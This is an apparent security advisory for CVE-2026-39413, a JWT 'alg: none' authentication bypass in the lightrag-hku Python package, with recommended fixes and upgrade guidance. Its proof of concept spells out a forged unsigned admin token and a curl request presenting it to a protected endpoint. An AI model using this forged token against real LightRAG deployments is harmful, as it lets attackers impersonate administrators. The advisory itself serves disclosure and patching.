---
id: CVE-2026-39413
aliases:
  - GHSA-8ffj-4hx4-9pgf
  - PYSEC-2026-2592
title: 'lightrag-hku: JWT Algorithm Confusion Vulnerability '
summary: 'lightrag-hku: JWT Algorithm Confusion Vulnerability '
severity: medium
cvss: 4.2
cvssVector: 'CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:N/A:N'
vendor: lightrag-hku
product: lightrag-hku
ecosystem: pip
affected:
  - lightrag-hku < 1.4.14
patched:
  - lightrag-hku 1.4.14
published: '2026-04-08'
updated: '2026-07-13'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/GHSA-8ffj-4hx4-9pgf'
references:
  - url: 'https://github.com/HKUDS/LightRAG/security/advisories/GHSA-8ffj-4hx4-9pgf'
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2026-39413'
  - url: >-
      https://github.com/HKUDS/LightRAG/commit/728f2e54509d93e0a44f929c7f83f2c88d6d291b
  - url: 'https://github.com/HKUDS/LightRAG'
tags:
  - osv
  - pip
epss: 0.00208
epssPercentile: 0.09618
ingestedAt: '2026-07-13T18:57:55.040Z'
---

## Overview

## Summary
The LightRAG API is vulnerable to a JWT algorithm confusion attack where an attacker can forge tokens by specifying 'alg': 'none' in the JWT header. Since the `jwt.decode()` call does not explicitly deny the 'none' algorithm, a crafted token without a signature will be accepted as valid, leading to unauthorized access.

## Details
In `lightrag/api/auth.py` at line 128, the `validate_token` method calls:

```python
payload = jwt.decode(token, self.secret, algorithms=[self.algorithm])
```

This allows any algorithm listed in the token's header to be processed, including 'none'. The code does not explicitly specify that 'none' is not allowed, making it possible for an attacker to bypass authentication.

## PoC
An attacker can generate a JWT with the following structure:

```json
{
  "header": {
    "alg": "none",
    "typ": "JWT"
  },
  "payload": {
    "sub": "admin",
    "exp": 1700000000,
    "role": "admin"
  }
}
```

Then send a request like:

```bash
curl -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsImV4cCI6MTcwMDAwMDAwMCwicm9sZSI6ImFkbWluIn0." http://localhost:8000/api/protected-endpoint
```

## Impact
An attacker can impersonate any user, including administrators, by forging a JWT with 'alg': 'none', gaining full access to protected resources without needing valid credentials.

## Recommended Fix
Explicitly specify allowed algorithms and exclude 'none'. Modify the `validate_token` method to:

```python
allowed_algorithms = [self.algorithm] if self.algorithm != 'none' else ['HS256', 'HS384', 'HS512']
payload = jwt.decode(token, self.secret, algorithms=allowed_algorithms)
```

Or better yet, hardcode the expected algorithm(s):

```python
payload = jwt.decode(token, self.secret, algorithms=['HS256'])
```

## Affected packages

- `lightrag-hku < 1.4.14`

## Remediation

Upgrade to a patched release:

- `lightrag-hku 1.4.14`